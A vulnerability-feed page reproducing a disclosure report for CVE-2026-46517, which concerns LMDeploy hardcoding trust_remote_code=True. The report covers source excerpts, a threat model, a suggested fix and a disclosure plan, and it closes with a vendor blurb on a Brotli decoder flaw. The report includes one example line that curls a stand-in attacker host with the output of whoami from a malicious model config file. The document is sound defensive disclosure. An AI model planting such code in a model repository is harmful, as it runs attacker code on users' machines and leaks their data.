New MCP server โ€” Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-46517

NVDCIRCLENISA

EUVD-2026-35874 ยท Published May 21, 2026

lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out

๐Ÿ“‹ Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is:
"get_model_arch and related helpers hardcode trust_remote_code=True
with no opt-out, creating an implicit unsafe remote-code load path
on every model fetch."

What this report does NOT claim:

  • It is NOT a network-attack RCE โ€” the user supplies the model
    reference; LMDeploy honors it.
  • It is NOT a "supply chain" CVE in the classical sense (where a
    benign upstream is compromised) โ€” the user explicitly types the
    repo name.

What this report DOES claim:

  • Other inference frameworks (vLLM, TGI, Hugging Face transformers
    itself) all expose --trust-remote-code as opt-in so that
    users who consciously load known-safe repos can opt in, while
    users following a tutorial cannot accidentally execute attacker
    Python by typing a wrong repo name.
  • LMDeploy's hardcoded True is an implicit trust-boundary
    override that violates HF Transformers' default-secure stance
    (trust_remote_code=False since transformers โ‰ฅ 4.30).
  • The fix is a one-line CLI flag (--trust-remote-code) defaulting
    False, threaded through the three sites, matching the rest of
    the ecosystem.

Severity should be assessed as hardening / safe-by-default,
not as full unauthenticated RCE. CVSS revised to 5.5 Medium
(AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ร— user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.


F13 โ€” LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com
Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to
transformers.AutoConfig.from_pretrained() (and several other
from_pretrained callers) regardless of any user opt-in. The
flag is hardcoded True in source โ€” there is no CLI flag, no
environment variable, no parameter, and no warning that lets a
user refuse remote code execution from the model repository.
This is a silent override of HuggingFace Transformers' own
default-secure stance
(trust_remote_code=False) introduced
in HF Transformers โ‰ฅ 4.30 specifically to prevent this class of
supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>,
lmdeploy lite calibrate <attacker_repo>, etc. has no way to
opt out
. The only escape hatch is for the user to never load
any third-party HF repo with LMDeploy โ€” which is incompatible
with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to
prevent silent RCE when loading a third-party repo. LMDeploy overrides
this default, restoring the unsafe behaviour transparently. A malicious
HF repo with a configuration_*.py shim runs Python code as the
LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs:
"Trusting custom code is therefore tricky..."). Multiple peer
projects fixed similar issues โ€” e.g. Hugging Face Transformers
itself made this opt-in by default, and vllm exposes the flag
through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92
    (2026-05-02).
  • Pinned blob SHAs:
    • lmdeploy/archs.py โ†’ 68fa03a407734be1e2ae04098d34e9acdbe98262
    • lmdeploy/lite/apis/calibrate.py โ†’
      0728304bdc3c03eee1d790bfbd5496df080a0ecd
    • lmdeploy/lite/utils/load.py โ†’
      7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
    • lmdeploy/pytorch/check_env/model.py โ†’
      b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 โ€” architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 โ€” get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode
trust_remote_code=True. There is no parameter to override it. This
function is called from every model-loading path in lmdeploy.

Site 2 โ€” quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq,
awq) all flow through this. Hardcoded.

Site 3 โ€” calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in
**kwargs, the helper internally hardcodes it on the config call
(line 55), then loads the model on line 74. The config call alone is
sufficient for RCE: HF Transformers downloads configuration_*.py
from the repo and imports it whenever trust_remote_code=True.

Site 4 โ€” pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 โ€”
trust_remote_code: bool = True is the default value for the engine's
parameter. Unlike the three sites above, this is "default true" not
"hardcoded true" โ€” a determined caller can pass False โ€” but every
shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is
called and the repo's config.json contains an auto_map key
pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's
    top-level code
    (any print, os.system, subprocess.run,
    urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.

So a malicious repo only needs a top-level
os.system("curl https://attacker/?$(whoami)") in
configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against
a HuggingFace repo identifier they did not personally vet. This
includes:

  • Casual users following a tutorial that says
    lmdeploy serve api_server <some_repo>.
  • CI pipelines that automatically pull a model from HF Hub by
    configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running
    lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will
execute, and there is no flag to disable it. The CVE class is
CWE-94 (Improper Control of Generation of Code, supply-chain
flavour) and CWE-915 (Improperly Controlled Modification of
Dynamically-Determined Object Attributes).

Comparison to peer projects

Project trust_remote_code default User control
HuggingFace Transformers False trust_remote_code keyword arg
vLLM False --trust-remote-code flag
LMDeploy True (hardcoded) None
TGI False --trust-remote-code flag

LMDeploy is the outlier. The rationale is presumably "internal
models like InternLM need custom configuration_*.py", but the fix is
to accept a CLI flag like --trust-remote-code and default-False as
the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit
opt-in via CLI flag:

# lmdeploy/archs.py โ€” get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code
to lmdeploy's CLI parser and forward it from server / calibrate /
gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or
    GitHub Security Advisory at
    https://github.com/InternLM/lmdeploy/security/advisories/new).
  2. Reference Hugging Face Transformers' historical opt-out โ†’ opt-in
    change as precedent for the fix shape.
  3. 90-day coordinated-disclosure window starting from acknowledgement.
  4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a
runtime PoC to demonstrate the pickle gadget execution, this finding
is a single trust-flag flip โ€” the behaviour of
AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF
repo with a malicious configuration_*.py is documented behaviour of
HF Transformers itself (their own docs warn against it). Reproducing
it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide
one (a malicious HF repo with configuration_evil.py + a one-liner
lmdeploy lite calibrate <repo> invocation), but holding it back from
the initial advisory avoids publishing a working exploit during the
disclosure window.

Technologies

Lmdeploy Lmdeploy

Weaknesses

CWE-915CWE-1188CWE-94

CVSS scores

  • v3.17.8CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Persistence Privilege Escalation Stealth Defense Impairment Credential Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot